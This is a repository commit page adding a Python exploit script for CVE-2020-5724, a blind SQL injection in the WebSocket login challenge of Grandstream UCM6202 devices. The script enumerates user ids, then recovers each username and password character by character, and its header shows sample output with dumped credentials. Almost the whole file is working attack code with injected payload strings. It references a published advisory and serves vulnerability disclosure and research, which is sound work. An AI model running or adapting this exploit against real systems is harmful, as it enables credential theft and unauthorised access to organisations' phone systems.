Skip to content

Commit 51f4a76

Browse files
committed
Added new exploit for CVE-2020-5724 that dumps usernames and creds from the http user db
1 parent 5b538ac commit 51f4a76

File tree

1 file changed

+203
-0
lines changed

1 file changed

+203
-0
lines changed
Lines changed: 203 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,203 @@
1+
# Exploit Title: Grandstream UCM6202 WebSocket SQL Injection Dump HTTP User Creds
2+
# Date: 05/11/2020
3+
# Exploit Author: Jacob Baines
4+
# Vendor Homepage: http://www.grandstream.com/
5+
# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware
6+
# Version: 1.0.20.20 and below
7+
# Tested on: Grandstream UCM6202 1.0.20.20
8+
# CVE : CVE-2020-5724
9+
# Advisory: https://www.tenable.com/security/research/tra-2020-17
10+
# Sample output:
11+
#
12+
# albinolobster@ubuntu:~/poc/grandstream/ucm62xx$ python3 websockify_challenge_injection.py --rhost 192.168.2.1
13+
# [+] Scanning for valid user ids: 999
14+
# [+] Found 6 accounts.
15+
# [+] Guessing user id 0's username length: 5
16+
# [+] Guessing user id 0's username: admin
17+
# [+] Guessing user id 0's password length: 8
18+
# [+] Guessing user id 0's password: labpass1
19+
# ------------------------
20+
# [+] Guessing user id 6's username length: 4
21+
# [+] Guessing user id 6's username: 5000
22+
# [+] Guessing user id 6's password length: 12
23+
# [+] Guessing user id 6's password: yE1n37t^jL6T
24+
# ------------------------
25+
# ...
26+
27+
import sys
28+
import ssl
29+
import time
30+
import json
31+
import asyncio
32+
import argparse
33+
import websockets
34+
35+
36+
# Guess user ids in the DB. These are just incremented values starting at zero.
37+
# Values *can* be deleted so, in theory, there is no reason to limit our search
38+
# to the first 1000 values... except time. Takes a bit to set up and tear down
39+
# the websocket and the device won't let us just use the same socket over and
40+
# over again. So scan the first 1000 ids and store the successful values.
41+
async def guess_user_ids(uri, ssl_context):
42+
user_id = 0
43+
id_list = []
44+
while user_id < 1000:
45+
async with websockets.connect(uri, ssl=ssl_context) as websocket:
46+
print('[+] Scanning for valid user ids: ' + str(user_id), end='\r')
47+
login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(user_id)+'--"}}'
48+
await websocket.send(login)
49+
response = await websocket.recv()
50+
inject_result = json.loads(response)
51+
if (inject_result['message']['status'] == 0):
52+
id_list.append(user_id)
53+
user_id += 1
54+
55+
print('\n[+] Found ' + str(len(id_list)) + ' accounts.')
56+
return id_list
57+
58+
# Given a user ID figure out how long the username is
59+
async def guess_username_length(uri, ssl_context, uid):
60+
length = 1
61+
while length < 100:
62+
print('[+] Guessing user id ' + str(uid) + '\'s username length: ' + str(length), end='\r')
63+
async with websockets.connect(uri, ssl=ssl_context) as websocket:
64+
login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(uid)+' AND LENGTH(user_name)=' + str(length) + '--"}}'
65+
await websocket.send(login)
66+
response = await websocket.recv()
67+
inject_result = json.loads(response)
68+
if (inject_result['message']['status'] == 0):
69+
print('')
70+
break
71+
else:
72+
length = length + 1
73+
if (length == 100):
74+
print('\n[-] Failed to guess the user\'s username length.')
75+
sys.exit(0)
76+
return length
77+
78+
# Guess the user's username. Limited to length bytes. Could optimize out length
79+
# using an additional lookup after each successful match.
80+
async def guess_username(uri, ssl_context, uid, length):
81+
username = ''
82+
while len(username) < length:
83+
value = 0x30
84+
while value < 0x7e:
85+
if value == 0x5c:
86+
value += 1
87+
continue
88+
89+
temp_user = username + chr(value)
90+
temp_user_len = len(temp_user)
91+
92+
print('[+] Guessing user id ' + str(uid) + '\'s username: ' + temp_user, end='\r')
93+
async with websockets.connect(uri, ssl=ssl_context) as websocket:
94+
challenge = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(uid)+' AND substr(user_name,1,' + str(temp_user_len) + ") = '" + temp_user + "'--" + '"}}'
95+
await websocket.send(challenge)
96+
response = await websocket.recv()
97+
inject_result = json.loads(response)
98+
if (inject_result['message']['status'] == 0):
99+
username = temp_user
100+
break
101+
else:
102+
value += 1
103+
104+
if value == 0x80:
105+
print('')
106+
print('[-] Failed to determine the password.')
107+
sys.exit(1)
108+
109+
print('')
110+
return username
111+
112+
# Given a username figure out how long the password is
113+
async def guess_password_length(uri, ssl_context, uid, username):
114+
length = 0
115+
while length < 100:
116+
print('[+] Guessing user id ' + str(uid) + '\'s password length: ' + str(length), end='\r')
117+
async with websockets.connect(uri, ssl=ssl_context) as websocket:
118+
login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"' + username + '\' AND LENGTH(user_password)==' + str(length) + '--"}}'
119+
await websocket.send(login)
120+
response = await websocket.recv()
121+
inject_result = json.loads(response)
122+
if (inject_result['message']['status'] == 0):
123+
break
124+
else:
125+
length = length + 1
126+
# if we hit max password length than we've done something wrong
127+
if (length == 100):
128+
print('[+] Couldn\'t determine the passwords length.')
129+
sys.exit(1)
130+
131+
print('')
132+
return length
133+
134+
# Guess the user's password. Limited to length bytes. Could optimize out length
135+
# using an additional lookup after each successful match.
136+
async def guess_password(uri, ssl_context, uid, username, length):
137+
# Now that we know the password length, just guess each password byte until
138+
# we've reached the full length. Again timeout set to 10 seconds.
139+
password = ''
140+
while len(password) < length:
141+
value = 0x20
142+
while value < 0x80:
143+
144+
print('[+] Guessing user id ' + str(uid) + '\'s password: ' + password + chr(value), end='\r')
145+
146+
if value == 0x22 or value == 0x5c:
147+
temp_pass = password + '\\'
148+
temp_pass = temp_pass + chr(value)
149+
else:
150+
temp_pass = password + chr(value)
151+
152+
temp_pass_len = len(temp_pass)
153+
154+
async with websockets.connect(uri, ssl=ssl_context) as websocket:
155+
challenge = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"' + username + "' AND substr(user_password,1," + str(temp_pass_len) + ") = '" + temp_pass + "'--" + '"}}'
156+
await websocket.send(challenge)
157+
response = await websocket.recv()
158+
inject_result = json.loads(response)
159+
if (inject_result['message']['status'] == 0):
160+
password = temp_pass
161+
break
162+
else:
163+
value = value + 1
164+
165+
if value == 0x80:
166+
print('')
167+
print('[-] Failed to determine the password.')
168+
sys.exit(1)
169+
170+
return password
171+
172+
##
173+
# Using an SQL injection in the challenge generation portion of the login that
174+
# occurs over websocket, extract all of the usernames and passwords.
175+
##
176+
async def guess_users(ip, port):
177+
178+
# the path to exploit
179+
uri = 'wss://' + ip + ':' + str(8089) + '/websockify'
180+
181+
# no ssl verification
182+
ssl_context = ssl.SSLContext()
183+
ssl_context.verify_mode = ssl.CERT_NONE
184+
ssl_context.check_hostname = False
185+
186+
id_list = await guess_user_ids(uri, ssl_context)
187+
188+
# loop over all the ids.
189+
for uid in id_list:
190+
191+
length = await guess_username_length(uri, ssl_context, uid)
192+
username = await guess_username(uri, ssl_context, uid, length)
193+
length = await guess_password_length(uri, ssl_context, uid, username)
194+
password = await guess_password(uri, ssl_context, uid, username, length)
195+
196+
print('\n------------------------')
197+
198+
top_parser = argparse.ArgumentParser(description='')
199+
top_parser.add_argument('--rhost', action="store", dest="rhost", required=True, help="The remote host to connect to")
200+
top_parser.add_argument('--rport', action="store", dest="rport", type=int, help="The remote port to connect to", default=8089)
201+
args = top_parser.parse_args()
202+
203+
asyncio.get_event_loop().run_until_complete(guess_users(args.rhost, args.rport))

0 commit comments

Comments
 (0)